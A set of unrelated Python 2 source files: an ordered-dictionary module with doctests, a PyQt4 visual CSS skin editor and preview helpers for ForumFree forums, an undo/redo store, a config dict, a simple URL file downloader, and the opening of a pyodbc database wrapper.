### following methods pinched from UserList and adapted ###
def __repr__(self): return repr(self._main.values())
# FIXME: do we need to check if we are comparing with another ``Values``
# object? (like the __cast method of UserList)
def __lt__(self, other): return self._main.values() < other
def __le__(self, other): return self._main.values() <= other
def __eq__(self, other): return self._main.values() == other
def __ne__(self, other): return self._main.values() != other
def __gt__(self, other): return self._main.values() > other
def __ge__(self, other): return self._main.values() >= other
def __cmp__(self, other): return cmp(self._main.values(), other)
def __contains__(self, item): return item in self._main.values()
def __len__(self): return len(self._main._sequence) # easier :-)
def __iter__(self): return self._main.itervalues()
def count(self, item): return self._main.values().count(item)
def index(self, item, *args): return self._main.values().index(item, *args)
def reverse(self):
"""Reverse the values"""
vals = self._main.values()
vals.reverse()
# FIXME: efficiency
self[:] = vals
def sort(self, *args, **kwds):
"""Sort the values."""
vals = self._main.values()
vals.sort(*args, **kwds)
self[:] = vals
def __mul__(self, n): return self._main.values()*n
__rmul__ = __mul__
def __add__(self, other): return self._main.values() + other
def __radd__(self, other): return other + self._main.values()
## following methods not implemented for values ##
def __delitem__(self, i): raise TypeError('Can\'t delete items from values')
def __iadd__(self, other): raise TypeError('Can\'t add in place to values')
def __imul__(self, n): raise TypeError('Can\'t multiply values in place')
def append(self, item): raise TypeError('Can\'t append items to values')
def insert(self, i, item): raise TypeError('Can\'t insert items into values')
def pop(self, i=-1): raise TypeError('Can\'t pop items from values')
def remove(self, item): raise TypeError('Can\'t remove items from values')
def extend(self, other): raise TypeError('Can\'t extend values')
class SequenceOrderedDict(OrderedDict):
"""
Experimental version of OrderedDict that has a custom object for ``keys``,
``values``, and ``items``.
These are callable sequence objects that work as methods, or can be
manipulated directly as sequences.
Test for ``keys``, ``items`` and ``values``.
>>> d = SequenceOrderedDict(((1, 2), (2, 3), (3, 4)))
>>> d
SequenceOrderedDict([(1, 2), (2, 3), (3, 4)])
>>> d.keys
[1, 2, 3]
>>> d.keys()
[1, 2, 3]
>>> d.setkeys((3, 2, 1))
>>> d
SequenceOrderedDict([(3, 4), (2, 3), (1, 2)])
>>> d.setkeys((1, 2, 3))
>>> d.keys[0]
1
>>> d.keys[:]
[1, 2, 3]
>>> d.keys[-1]
3
>>> d.keys[-2]
2
>>> d.keys[0:2] = [2, 1]
>>> d
SequenceOrderedDict([(2, 3), (1, 2), (3, 4)])
>>> d.keys.reverse()
>>> d.keys
[3, 1, 2]
>>> d.keys = [1, 2, 3]
>>> d
SequenceOrderedDict([(1, 2), (2, 3), (3, 4)])
>>> d.keys = [3, 1, 2]
>>> d
SequenceOrderedDict([(3, 4), (1, 2), (2, 3)])
>>> a = SequenceOrderedDict()
>>> b = SequenceOrderedDict()
>>> a.keys == b.keys
1
>>> a['a'] = 3
>>> a.keys == b.keys
0
>>> b['a'] = 3
>>> a.keys == b.keys
1
>>> b['b'] = 3
>>> a.keys == b.keys
0
>>> a.keys > b.keys
0
>>> a.keys < b.keys
1
>>> 'a' in a.keys
1
>>> len(b.keys)
2
>>> 'c' in d.keys
0
>>> 1 in d.keys
1
>>> [v for v in d.keys]
[3, 1, 2]
>>> d.keys.sort()
>>> d.keys
[1, 2, 3]
>>> d = SequenceOrderedDict(((1, 2), (2, 3), (3, 4)), strict=True)
>>> d.keys[::-1] = [1, 2, 3]
>>> d
SequenceOrderedDict([(3, 4), (2, 3), (1, 2)])
>>> d.keys[:2]
[3, 2]
>>> d.keys[:2] = [1, 3]
Traceback (most recent call last):
KeyError: 'Keylist is not the same as current keylist.'
>>> d = SequenceOrderedDict(((1, 2), (2, 3), (3, 4)))
>>> d
SequenceOrderedDict([(1, 2), (2, 3), (3, 4)])
>>> d.values
[2, 3, 4]
>>> d.values()
[2, 3, 4]
>>> d.setvalues((4, 3, 2))
>>> d
SequenceOrderedDict([(1, 4), (2, 3), (3, 2)])
>>> d.values[::-1]
[2, 3, 4]
>>> d.values[0]
4
>>> d.values[-2]
3
>>> del d.values[0]
Traceback (most recent call last):
TypeError: Can't delete items from values
>>> d.values[::2] = [2, 4]
>>> d
SequenceOrderedDict([(1, 2), (2, 3), (3, 4)])
>>> 7 in d.values
0
>>> len(d.values)
3
>>> [val for val in d.values]
[2, 3, 4]
>>> d.values[-1] = 2
>>> d.values.count(2)
2
>>> d.values.index(2)
0
>>> d.values[-1] = 7
>>> d.values
[2, 3, 7]
>>> d.values.reverse()
>>> d.values
[7, 3, 2]
>>> d.values.sort()
>>> d.values
[2, 3, 7]
>>> d.values.append('anything')
Traceback (most recent call last):
TypeError: Can't append items to values
>>> d.values = (1, 2, 3)
>>> d
SequenceOrderedDict([(1, 1), (2, 2), (3, 3)])
>>> d = SequenceOrderedDict(((1, 2), (2, 3), (3, 4)))
>>> d
SequenceOrderedDict([(1, 2), (2, 3), (3, 4)])
>>> d.items()
[(1, 2), (2, 3), (3, 4)]
>>> d.setitems([(3, 4), (2 ,3), (1, 2)])
>>> d
SequenceOrderedDict([(3, 4), (2, 3), (1, 2)])
>>> d.items[0]
(3, 4)
>>> d.items[:-1]
[(3, 4), (2, 3)]
>>> d.items[1] = (6, 3)
>>> d.items
[(3, 4), (6, 3), (1, 2)]
>>> d.items[1:2] = [(9, 9)]
>>> d
SequenceOrderedDict([(3, 4), (9, 9), (1, 2)])
>>> del d.items[1:2]
>>> d
SequenceOrderedDict([(3, 4), (1, 2)])
>>> (3, 4) in d.items
1
>>> (4, 3) in d.items
0
>>> len(d.items)
2
>>> [v for v in d.items]
[(3, 4), (1, 2)]
>>> d.items.count((3, 4))
1
>>> d.items.index((1, 2))
1
>>> d.items.index((2, 1))
Traceback (most recent call last):
ValueError: list.index(x): x not in list
>>> d.items.reverse()
>>> d.items
[(1, 2), (3, 4)]
>>> d.items.reverse()
>>> d.items.sort()
>>> d.items
[(1, 2), (3, 4)]
>>> d.items.append((5, 6))
>>> d.items
[(1, 2), (3, 4), (5, 6)]
>>> d.items.insert(0, (0, 0))
>>> d.items
[(0, 0), (1, 2), (3, 4), (5, 6)]
>>> d.items.insert(-1, (7, 8))
>>> d.items
[(0, 0), (1, 2), (3, 4), (7, 8), (5, 6)]
>>> d.items.pop()
(5, 6)
>>> d.items
[(0, 0), (1, 2), (3, 4), (7, 8)]
>>> d.items.remove((1, 2))
>>> d.items
[(0, 0), (3, 4), (7, 8)]
>>> d.items.extend([(1, 2), (5, 6)])
>>> d.items
[(0, 0), (3, 4), (7, 8), (1, 2), (5, 6)]
"""
def __init__(self, init_val=(), strict=True):
OrderedDict.__init__(self, init_val, strict=strict)
self._keys = self.keys
self._values = self.values
self._items = self.items
self.keys = Keys(self)
self.values = Values(self)
self.items = Items(self)
self._att_dict = {
'keys': self.setkeys,
'items': self.setitems,
'values': self.setvalues,
}
def __setattr__(self, name, value):
"""Protect keys, items, and values."""
if not '_att_dict' in self.__dict__:
object.__setattr__(self, name, value)
else:
try:
fun = self._att_dict[name]
except KeyError:
OrderedDict.__setattr__(self, name, value)
else:
fun(value)
if __name__ == '__main__':
if INTP_VER < (2, 3):
raise RuntimeError("Tests require Python v.2.3 or later")
# turn off warnings for tests
warnings.filterwarnings('ignore')
# run the code tests in doctest format
import doctest
m = sys.modules.get('__main__')
globs = m.__dict__.copy()
globs.update({
'INTP_VER': INTP_VER,
})
doctest.testmod(m, globs=globs)
| Python |
#!/usr/bin/python
# -*- coding: utf-8 -*-
from PyQt4 import QtCore, QtGui
from pygments import highlight
from pygments.lexers import CssLexer
from pygments.formatters import HtmlFormatter
from lib.skinparser import SkinParser
from lib.skinundoredo import SkinUndoRedo
class CssTextEditor(QtGui.QTextEdit):
def setCss(self, text):
css = highlight(str(text), CssLexer(), HtmlFormatter(full = True))
self.setHtml(css)
class SkinEditor(QtGui.QDockWidget):
"""
Widget che permette di effettuare la modifica delle skin in maniera grafica
"""
def __init__(self, parent):
QtGui.QDockWidget.__init__(self)
self.setWindowTitle(self.tr('Editor'))
self.setWindowOpacity(0.80)
self.skinUndoRedo = SkinUndoRedo()
#Base widget
baseWidget = QtGui.QWidget(self)
tab = QtGui.QTabWidget(self)
editorToolBox = QtGui.QToolBox(self)
selectorLaber = QtGui.QLabel(self.tr('Elemento:'))
pseudoclassLabel = QtGui.QLabel(self.tr('Pseudoclasse:'))
self.cssText = CssTextEditor(self)
self.cssText.setText(u"Il codice CSS non è ancora stato inserito. Caricalo o importalo dalla toolbar.")
self.selectorCombo = QtGui.QComboBox(self)
self.selectorCombo.setMinimumWidth(175)
self.pseudoclassCombo = QtGui.QComboBox(self)
self.applyCssButton = QtGui.QPushButton(self.tr('Applica le modifiche'), self)
#Background widget
self.backgroundImageText = QtGui.QLineEdit(self)
self.backgroundImageButton = QtGui.QPushButton(QtGui.QIcon('images/images_display.png'), self.tr('Visualizza immagine'), self)
self.backgroundColorText = QtGui.QLineEdit(self)
self.backgroundColorButton = QtGui.QPushButton(QtGui.QIcon('images/color_fill.png'), self.tr('seleziona colore'), self)
self.backgroundColorButton.setShortcut(self.tr('Ctrl+B'))
self.backgroundColorWidget = QtGui.QFrame(self)
self.backgroundColorWidget.setFixedSize(80, 20)
self.backgroundColorWidget.setFrameStyle(QtGui.QFrame.WinPanel)
self.backgroundColorWidget.setFrameShadow(QtGui.QFrame.Plain)
self.backgroundColorWidget.setLineWidth(2)
self.backgroundOpacitySlide = QtGui.QSlider(QtCore.Qt.Horizontal , self)
self.backgroundOpacitySlide.setRange(0, 100)
self.backgroundOpacitySpin = QtGui.QDoubleSpinBox(self)
self.backgroundOpacitySpin.setRange(0, 1)
self.backgroundOpacitySpin.setSingleStep(0.01)
self.backgroundRepeatCombo = QtGui.QComboBox(self)
self.backgroundRepeatCombo.addItems(['ripeti', 'orizzontalmente', 'verticalmente', 'non ripetere'])
self.backgroundFixedCheck = QtGui.QCheckBox(self.tr('Rendi lo sfondo fisso'), self)
self.backgroundPositionCombo = QtGui.QComboBox(self)
self.backgroundPositionCombo.addItems(['default', 'top left', 'top center', 'top right', 'center left',
'center center', 'center right', 'bottom left', 'bottom center',
'bottom right'])
#Font widget
self.fontSelectCombo = QtGui.QFontComboBox(self)
self.fontSizeSpin = QtGui.QSpinBox(self)
self.fontSizeSpin.setSuffix('px')
self.fontColorText = QtGui.QLineEdit(self)
self.fontColorButton = QtGui.QPushButton(QtGui.QIcon('images/color_fill.png'), self.tr('seleziona colore'), self)
self.fontColorWidget = QtGui.QFrame(self)
self.fontColorWidget.setFixedSize(80, 20)
self.fontColorWidget.setFrameStyle(QtGui.QFrame.WinPanel)
self.fontColorWidget.setFrameShadow(QtGui.QFrame.Plain)
self.fontColorWidget.setLineWidth(2)
self.fontBoldButton = QtGui.QPushButton(QtGui.QIcon('images/format_text_bold.png'), '', self)
self.fontBoldButton.setCheckable(True)
self.fontItalicButton = QtGui.QPushButton(QtGui.QIcon('images/format_text_italic.png'), '', self)
self.fontItalicButton.setCheckable(True)
self.fontUnderlineButton = QtGui.QPushButton(QtGui.QIcon('images/format_text_underline.png'), '', self)
self.fontUnderlineButton.setCheckable(True)
#Border widget
self.borderAllColorText = QtGui.QLineEdit(self)
self.borderAllColorButton = QtGui.QPushButton(QtGui.QIcon('images/color_fill.png'), self.tr('seleziona colore'), self)
self.borderAllColorWidget = QtGui.QFrame(self)
self.borderAllColorWidget.setFixedSize(80, 20)
self.borderAllColorWidget.setFrameStyle(QtGui.QFrame.WinPanel)
self.borderAllColorWidget.setFrameShadow(QtGui.QFrame.Plain)
self.borderAllColorWidget.setLineWidth(2)
self.borderAllStyleCombo = QtGui.QComboBox(self)
#Background Layout
backgroundContainer = QtGui.QWidget(self)
backgroundContainerLayout = QtGui.QFormLayout()
backgroundColorLayout = QtGui.QHBoxLayout()
backgroundColorLayout.addWidget(self.backgroundColorWidget)
backgroundColorLayout.addWidget(self.backgroundColorText)
backgroundColorLayout.addWidget(self.backgroundColorButton)
backgroundImageLayout = QtGui.QHBoxLayout()
backgroundImageLayout.addWidget(self.backgroundImageText)
backgroundImageLayout.addWidget(self.backgroundImageButton)
backgroundOpacityLayout = QtGui.QHBoxLayout()
backgroundOpacityLayout.addWidget(self.backgroundOpacitySlide)
backgroundOpacityLayout.addWidget(self.backgroundOpacitySpin)
backgroundContainerLayout.addRow(self.tr('Colore:'), backgroundColorLayout)
backgroundContainerLayout.addRow(self.tr('Immagine:'), backgroundImageLayout)
backgroundContainerLayout.addRow(self.tr('Trasparenza:'), backgroundOpacityLayout)
backgroundContainerLayout.addRow(self.tr('Ripeti:'), self.backgroundRepeatCombo)
backgroundContainerLayout.addRow(self.tr('Posizionamento:'), self.backgroundPositionCombo)
backgroundContainerLayout.addRow(None, self.backgroundFixedCheck)
backgroundContainer.setLayout(backgroundContainerLayout)
editorToolBox.addItem(backgroundContainer, QtGui.QIcon('images/background.png'), self.tr('Sfondo'))
#Font Layout
fontContainer = QtGui.QWidget(self)
fontContainerLayout = QtGui.QFormLayout(self)
fontColorLayout = QtGui.QHBoxLayout()
fontColorLayout.addWidget(self.fontColorWidget)
fontColorLayout.addWidget(self.fontColorText)
fontColorLayout.addWidget(self.fontColorButton)
fontContainerLayout.addRow(self.tr('Carattere:'), self.fontSelectCombo)
fontContainerLayout.addRow(self.tr('Dimensione:'), self.fontSizeSpin)
fontContainerLayout.addRow(self.tr('Colore:'), fontColorLayout)
fontFormatLayout = QtGui.QHBoxLayout()
fontFormatLayout.addWidget(self.fontBoldButton)
fontFormatLayout.addWidget(self.fontItalicButton)
fontFormatLayout.addWidget(self.fontUnderlineButton)
fontContainerLayout.addRow(self.tr('Formattazione:'), fontFormatLayout)
fontContainer.setLayout(fontContainerLayout)
editorToolBox.addItem(fontContainer, QtGui.QIcon('images/text.png'), self.tr('Carattere'))
#Border layout
borderContainer = QtGui.QWidget(self)
borderContainerLayout = QtGui.QFormLayout()
borderAllColorLayout = QtGui.QHBoxLayout()
borderAllColorLayout.addWidget(self.borderAllColorWidget)
borderAllColorLayout.addWidget(self.borderAllColorText)
borderAllColorLayout.addWidget(self.borderAllColorButton)
borderContainerLayout.addRow(self.tr('Colore:'), borderAllColorLayout)
borderContainerLayout.addRow(self.tr('Stile:'), self.borderAllStyleCombo)
borderContainer.setLayout(borderContainerLayout)
editorToolBox.addItem(borderContainer, QtGui.QIcon('images/border.png'), self.tr('Bordi'))
#Base Layout
visualContainer = QtGui.QWidget(self)
visualContainerVbox = QtGui.QVBoxLayout()
visualContainerHbox = QtGui.QHBoxLayout()
visualContainerHbox.addWidget(selectorLaber)
visualContainerHbox.addWidget(self.selectorCombo)
visualContainerHbox.addWidget(pseudoclassLabel)
visualContainerHbox.addWidget(self.pseudoclassCombo)
visualContainerVbox.addLayout(visualContainerHbox)
visualContainerVbox.addWidget(editorToolBox)
visualContainer.setLayout(visualContainerVbox)
widgetContainer = QtGui.QWidget(self)
cssContainerLayout = QtGui.QVBoxLayout()
cssContainerLayout.addWidget(self.applyCssButton)
cssContainerLayout.addWidget(self.cssText)
widgetContainer.setLayout(cssContainerLayout)
tab.addTab(visualContainer, self.tr('Editor Visuale'))
tab.addTab(widgetContainer, self.tr('Visualizza CSS'))
layout = QtGui.QVBoxLayout()
layout.addWidget(tab)
baseWidget.setLayout(layout)
self.setWidget(baseWidget)
@property
def selector(self):
selector = self.currentSelector()
pseudoclass = self.currentPseudoclass()
currentSelector = '%s:%s' % (selector, pseudoclass) if pseudoclass else selector
selectorObj = self.skinParser.selectorList.get(currentSelector)
if not selectorObj and pseudoclass:
selectorObj = self.skinParser.selectorList.addSelector(currentSelector)
return selectorObj
def currentSelector(self):
return str(self.selectorCombo.currentText())
def currentPseudoclass(self):
return str(self.pseudoclassCombo.currentText())
def reloadSelectorCombo(self):
self.selectorCombo.clear()
self.selectorCombo.addItems(self.skinParser.selectorList.withoutPseudo())
def newSkinFromFile(self, skin, skinName):
self.skinParser = SkinParser(skinName)
self.skinParser.loadFromFile(skin)
self._newSkin(skinName)
def newSkinFromText(self, skin, skinName, skinUrl = None):
self.skinParser = SkinParser(skinName, skinUrl)
self.skinParser.loadFromText(skin)
self._newSkin(skinName)
def _newSkin(self, skinName):
self.skinUndoRedo.newSkin(skinName)
self.reloadSelectorCombo()
self.cssText.setCss(self.skinParser.cssText)
self.parent().setWindowTitle('ForumFree Skinner - %s' % skinName)
self.__connectEvent()
self.__elementChanged()
self.parent().webPreview.updateCSS(self.skinParser.cssText, self.skinParser.skinName, self.skinParser.skinUrl)
def newSelector(self, selector):
selectorObj = self.skinParser.selectorList.addSelector(selector)
self.selectorCombo.addItem(selector)
return selectorObj
def undo(self):
skinName = self.skinParser.skinName
try:
css = self.skinUndoRedo[skinName]['undo'].pop()
self.skinUndoRedo[skinName]['redo'].append(self.cssText.toPlainText())
self.cssText.setCss(css)
self.applyUndoRedo()
except:
pass
def redo(self):
skinName = self.skinParser.skinName
try:
css = self.skinUndoRedo[skinName]['redo'].pop()
self.skinUndoRedo[skinName]['undo'].append(self.cssText.toPlainText())
self.cssText.setCss(css)
self.applyUndoRedo()
except:
pass
def updateWidgetColor(self, widget, color):
widget.setStyleSheet('QWidget { background-color: %s }' % color)
def checkIsValid(self, property, widget):
if property[:4] == 'http' or property == '' or QtGui.QColor(property).isValid():
widget.setStyleSheet('')
return True
else:
widget.setStyleSheet('background: "#c80e12"')
return False
def __elementChanged(self):
self.blockSignals(True)
try:
backgroundColor = self.selector.background()['color']
self.backgroundColorText.setText(backgroundColor)
self.checkIsValid(backgroundColor, self.backgroundColorText)
self.updateWidgetColor(self.backgroundColorWidget, backgroundColor)
except KeyError:
self.backgroundColorText.clear()
self.backgroundColorText.setStyleSheet('')
self.backgroundColorWidget.setStyleSheet('')
try:
backgroundImage = self.selector.background()['image']
self.backgroundImageText.setText(backgroundImage)
self.checkIsValid(backgroundImage, self.backgroundImageText)
except KeyError:
self.backgroundImageText.clear()
self.backgroundImageText.setStyleSheet('')
opacity = self.selector.opacity()
if opacity is not None:
if opacity[2] is not '0' and int(opacity[2:]) < 10:
opacitySlide = int(opacity[2:] + '0')
else:
opacitySlide = int(opacity[2:])
self.backgroundOpacitySlide.setValue(opacitySlide)
self.backgroundOpacitySpin.setValue(float(opacity))
else:
self.backgroundOpacitySlide.setValue(0)
self.backgroundOpacitySpin.clear()
try:
backgroundRepeat = self.selector.background()['repeat']
except KeyError:
backgroundRepeat = 'repeat'
finally:
action = {'repeat' : 0,
'repeat-x': 1,
'repeat-y': 2,
'no-repeat': 3}.get(backgroundRepeat)
self.backgroundRepeatCombo.setCurrentIndex(action)
try:
backgroundPosition = self.selector.background()['position']
if ' ' not in backgroundPosition:
backgroundPosition += ' center'
except KeyError:
backgroundPosition = 'default'
finally:
index = self.backgroundPositionCombo.findText(backgroundPosition)
self.backgroundPositionCombo.setCurrentIndex(index)
try:
attachmentValue = self.selector.background()['attachment']
if attachmentValue == 'fixed':
attachment = True
else:
attachment = False
except KeyError:
attachment = False
finally:
self.backgroundFixedCheck.setChecked(attachment)
try:
fontFamily = self.selector.font()['family']
self.fontSelectCombo.setEditText(fontFamily)
except KeyError:
self.fontSelectCombo.clearEditText()
try:
fontSize = self.selector.font()['size'][:-2]
fontSize = float(fontSize)
self.fontSizeSpin.setValue(fontSize)
except KeyError:
self.fontSizeSpin.clear()
try:
fontColor = self.selector.font()['color']
self.fontColorText.setText(fontColor)
self.updateWidgetColor(self.fontColorWidget, fontColor)
except KeyError:
self.fontColorText.clear()
self.fontColorText.setStyleSheet('')
self.fontColorWidget.setStyleSheet('')
try:
if self.selector.font()['weight'] == 'bold':
self.fontBoldButton.setChecked(True)
else:
self.fontBoldButton.setChecked(False)
except:
self.fontBoldButton.setChecked(False)
try:
if self.selector.font()['style'] == 'italic':
self.fontItalicButton.setChecked(True)
else:
self.fontItalicButton.setChecked(False)
except:
self.fontItalicButton.setChecked(False)
try:
if self.selector.font()['decoration'] == 'underline':
self.fontUnderlineButton.setChecked(True)
else:
self.fontUnderlineButton.setChecked(False)
except:
self.fontUnderlineButton.setChecked(False)
try:
borderColor = self.selector.border()['color']
self.borderAllColorText.setText(borderColor)
self.checkIsValid(borderColor, self.borderAllColorText)
self.updateWidgetColor(self.borderAllColorWidget, borderColor)
except:
self.borderAllColorText.clear()
self.borderAllColorText.setStyleSheet('')
self.borderAllColorWidget.setStyleSheet('')
self.blockSignals(False)
def selectorChanged(self, selector):
self.pseudoclassCombo.clear()
if selector != 'body' and ',' not in selector:
self.pseudoclassCombo.addItems(['', 'link', 'visited', 'hover', 'active'])
self.__elementChanged()
def showBackgroundImage(self):
try:
self.parent().ds.openUrl(QtCore.QUrl(self.backgroundImageText.text()))
except:
QtGui.QErrorMessage(self).showMessage(self.tr('Impossibile aprire lo sfondo desiderato'))
def setCurrentEl(self, element, style):
selectorList = self.skinParser.selectorList.keys()
if element not in selectorList and self.parent().editAct.isChecked():
selectorObj = self.newSelector(element)
for property in style['background'].keys():
selectorObj.setBackground(property, style['background'][property])
self.emit(QtCore.SIGNAL('selectorEdited()'))
index = self.selectorCombo.findText(element)
self.selectorCombo.setCurrentIndex(index)
def setBackgroundImage(self, image):
image = str(image)
if self.checkIsValid(image, self.backgroundImageText):
self.selector.setBackground('image', image)
self.emit(QtCore.SIGNAL('selectorEdited()'))
def setBackgroundColor(self, color):
color = str(color)
if self.checkIsValid(color, self.backgroundColorText):
self.selector.setBackground('color', color)
self.emit(QtCore.SIGNAL('selectorEdited()'))
def setBackgroundRepeat(self, value):
repeat = { 0 : 'repeat',
1 : 'repeat-x',
2 : 'repeat-y',
3 : 'no-repeat'}.get(value)
self.selector.setBackground('repeat', repeat)
self.emit(QtCore.SIGNAL('selectorEdited()'))
def setBackgroundPosition(self, value):
if value == 'default':
value = None
self.selector.setBackground('position', value)
self.emit(QtCore.SIGNAL('selectorEdited()'))
def setBackgroundAttachment(self, state):
action = 'fixed' if state else 'scroll'
self.selector.setBackground('attachment', action)
self.emit(QtCore.SIGNAL('selectorEdited()'))
def setFontFamily(self, font):
font = str(font)
self.selector.setFont('family', font)
self.emit(QtCore.SIGNAL('selectorEdited()'))
def setFontSize(self, size):
size = str(size) + 'px'
self.selector.setFont('size', size)
self.emit(QtCore.SIGNAL('selectorEdited()'))
def setFontColor(self, color):
color = str(color)
if self.checkIsValid(color, self.fontColorText):
self.selector.setFont('color', color)
self.emit(QtCore.SIGNAL('selectorEdited()'))
def setFontBold(self, state):
action = 'bold' if state else 'normal'
self.selector.setFont('weight', action)
self.emit(QtCore.SIGNAL('selectorEdited()'))
def setFontItalic(self, state):
action = 'italics' if state else 'normal'
self.selector.setFont('style', action)
self.emit(QtCore.SIGNAL('selectorEdited()'))
def setFontUnderline(self, state):
action = 'underline' if state else 'none'
self.selector.setFont('decoration', action)
self.emit(QtCore.SIGNAL('selectorEdited()'))
def setBackgroundSlideOpacity(self, value):
if value < 10:
value = '0.0' + str(value)
elif value == 100:
value = 1
else:
value = '0.' + str(value)
self.selector.setOpacity(value)
self.emit(QtCore.SIGNAL('selectorEdited()'))
def setBackgroundSpinOpacity(self, value):
self.selector.setOpacity(value)
self.emit(QtCore.SIGNAL('selectorEdited()'))
def clickedBackgroundColor(self):
try:
defaultColor = self.selector.background()['color']
except KeyError:
defaultColor = '#000000'
default = QtGui.QColor(defaultColor)
color = QtGui.QColorDialog.getColor(default, self)
if color.isValid():
self.setBackgroundColor(color.name())
self.backgroundColorText.setText(color.name())
def clickedFontColor(self):
try:
defaultColor = self.selector.font()['color']
except KeyError:
defaultColor = '#000000'
default = QtGui.QColor(defaultColor)
color = QtGui.QColorDialog.getColor(default, self)
if color.isValid():
self.setFontColor(color.name())
self.fontColorText.setText(color.name())
self.emit(QtCore.SIGNAL('selectorEdited()'))
def applyUndoRedo(self):
css = str(self.cssText.toPlainText())
self.skinParser.loadFromText(css)
self.reloadSelectorCombo()
self.__elementChanged()
self.parent().webPreview.updateCSS(self.skinParser.cssText,
self.skinParser.skinName, self.skinParser.skinUrl)
def cssTextChanged(self):
css = str(self.cssText.toPlainText())
self.skinUndoRedo[self.skinParser.skinName]['undo'].append(self.skinParser.cssText)
self.skinParser.loadFromText(css)
self.reloadSelectorCombo()
self.__elementChanged()
self.parent().webPreview.updateCSS(self.skinParser.cssText,
self.skinParser.skinName, self.skinParser.skinUrl)
def reloadCSS(self):
cssText = self.skinParser.cssText
self.skinUndoRedo[self.skinParser.skinName]['undo'].append(self.cssText.toPlainText())
self.cssText.setCss(cssText)
self.parent().webPreview.updateCSS(self.skinParser.cssText, self.skinParser.skinName, self.skinParser.skinUrl)
self.__elementChanged()
def __connectEvent(self):
self.connect(self.selectorCombo, QtCore.SIGNAL('currentIndexChanged(QString)'), self.selectorChanged)
self.connect(self.pseudoclassCombo, QtCore.SIGNAL('currentIndexChanged(QString)'), self.__elementChanged)
self.connect(self.backgroundImageButton, QtCore.SIGNAL('clicked()'), self.showBackgroundImage)
self.connect(self.backgroundImageText, QtCore.SIGNAL('textEdited(QString)'), self.setBackgroundImage)
self.connect(self.backgroundColorText, QtCore.SIGNAL('textEdited(QString)'), self.setBackgroundColor)
self.connect(self.backgroundColorButton, QtCore.SIGNAL('clicked()'), self.clickedBackgroundColor)
self.connect(self.backgroundRepeatCombo, QtCore.SIGNAL('currentIndexChanged(int)'), self.setBackgroundRepeat)
self.connect(self.backgroundPositionCombo, QtCore.SIGNAL('currentIndexChanged(QString)'), self.setBackgroundPosition)
self.connect(self.backgroundFixedCheck, QtCore.SIGNAL('stateChanged(int)'), self.setBackgroundAttachment)
self.connect(self.backgroundOpacitySlide, QtCore.SIGNAL('valueChanged(int)'), self.setBackgroundSlideOpacity)
self.connect(self.backgroundOpacitySpin, QtCore.SIGNAL('valueChanged(double)'), self.setBackgroundSpinOpacity)
self.connect(self.fontSelectCombo, QtCore.SIGNAL('editTextChanged(QString)'), self.setFontFamily)
self.connect(self.fontSizeSpin, QtCore.SIGNAL('valueChanged(int)'), self.setFontSize)
self.connect(self.fontColorButton, QtCore.SIGNAL('clicked()'), self.clickedFontColor)
self.connect(self.fontColorText, QtCore.SIGNAL('textEdited(QString)'), self.setFontColor)
self.connect(self.fontBoldButton, QtCore.SIGNAL('toggled(bool)'), self.setFontBold)
self.connect(self.fontItalicButton, QtCore.SIGNAL('toggled(bool)'), self.setFontItalic)
self.connect(self.fontUnderlineButton, QtCore.SIGNAL('toggled(bool)'), self.setFontUnderline)
self.connect(self.applyCssButton, QtCore.SIGNAL('clicked()'), self.cssTextChanged)
self.connect(self, QtCore.SIGNAL('selectorEdited()'), self.reloadCSS) | Python |
#!/usr/bin/python
# -*- coding: utf-8 -*-
import urllib2
from PyQt4 import QtCore
from BeautifulSoup import BeautifulSoup, Tag, NavigableString
class ParseHTML(QtCore.QThread):
'''
Effettua il parsing in un thread separato di un file html trmiate BeautifulSoup
'''
def __init__(self, parent = None):
QtCore.QThread.__init__(self, parent)
self.url = None
def setUrl(self, url):
self.url = url
self.start()
def run(self):
try:
soup = BeautifulSoup(urllib2.urlopen(self.url).read())
css = soup.html.head.findAll('style')[1].string
self.emit(QtCore.SIGNAL('parserdCSS(PyQt_PyObject, PyQt_PyObject)'), css, self.url)
except:
self.emit(QtCore.SIGNAL('parsingFailed()'))
class MakeTag(Tag):
def __init__(self, parent, tag, property, value, content):
Tag.__init__(self, parent, tag)
self[property] = value
tagContent = NavigableString(content)
self.insert(0, tagContent)
class MakeWebPreview(QtCore.QThread):
'''
Effettua il parsing in un thread separato di un file html trmiate BeautifulSoup
'''
def __init__(self, parent = None):
QtCore.QThread.__init__(self, parent)
self.url = None
self.js = None
def setVariable(self, url, css, js):
self.url = url
self.css = css
self.js = js
self.start()
def run(self):
soup = BeautifulSoup(urllib2.urlopen(self.url).read())
cssTag = MakeTag(soup, 'style', 'type', 'text/css', 'CSSSKIN')
jsTag = MakeTag(soup, 'script', 'type', 'text/javascript', self.js)
cssNode = soup.html.head.findAll('style')[1]
cssNode.replaceWith(cssTag)
soup.html.body.insert(0, jsTag)
forumName = soup.html.head.title.string
page = soup.prettify()
self.emit(QtCore.SIGNAL('page(PyQt_PyObject, PyQt_PyObject, PyQt_PyObject)'), page, forumName, self.css) | Python |
import cPickle
class SkinUndoRedo(dict):
def newSkin(self, skinName):
if skinName not in self:
self[skinName] = {'undo' : [], 'redo' : []}
def saveToDisk(self):
cPickle.dump(self[:], '../saved/skinList')
| Python |
config = {
'version' : 'alpha',
'undoredo' : True,
'size' : { 'w' : 900,
'h' : 500},
'mapBackground' : { 'home' : { 'file' :'images/home.jpg',
'w' : 870,
'h' : 532 },
'section' : {'file' : 'images/section.jpg',
'w' : 870,
'h' : 532 }
}
} | Python |
__author__ = 'XingHua'
from os.path import basename
from urlparse import urlsplit
import urllib2
def url2name(url):
print urlsplit(url)[2]
return basename(urlsplit(url)[2])
def download(url, localFileName=None):
localName = url2name(url)
req = urllib2.Request(url)
r = urllib2.urlopen(req)
if r.info().has_key('Content-Disposition'):
# If the response has Content-Disposition, we take file name from it
localName = r.info()['Content-Disposition'].split('filename=')[1]
print 'dd',localName
if localName[0] == '"' or localName[0] == "'":
localName = localName[1:-1]
elif r.url != url:
print '??'
# if we were redirected, the real file name we take from the final URL
localName = url2name(r.url)
if localFileName:
print '!!'
# we can force to save the file as specified name
localName = localFileName
print 'localFilename is',localFileName
f = open(localName, 'wb')
f.write(r.read())
f.close()
if __name__ =="__main__":
download(r'http://www.winpcap.org/install/bin/WinPcap_4_1_3.exe')
print 'over' | Python |
#coding:utf-8
__author__ = 'XingHua'
#!/usr/bin/python
# Author: YiBang Ruan
import pyodbc
class ODBC_QQ:
def __init__( self, DRIVER, SERVER, DATABASE, UID, PWD):
''' initialization '''
self.DRIVER = DRIVER
self.SERVER = SERVER
self.DATABASE = DATABASE
self.UID = UID
self.PWD = PWD
def Connect(self):
''' Connect to the DB '''
if not self.DATABASE:
raise(NameError,"no setting db info")
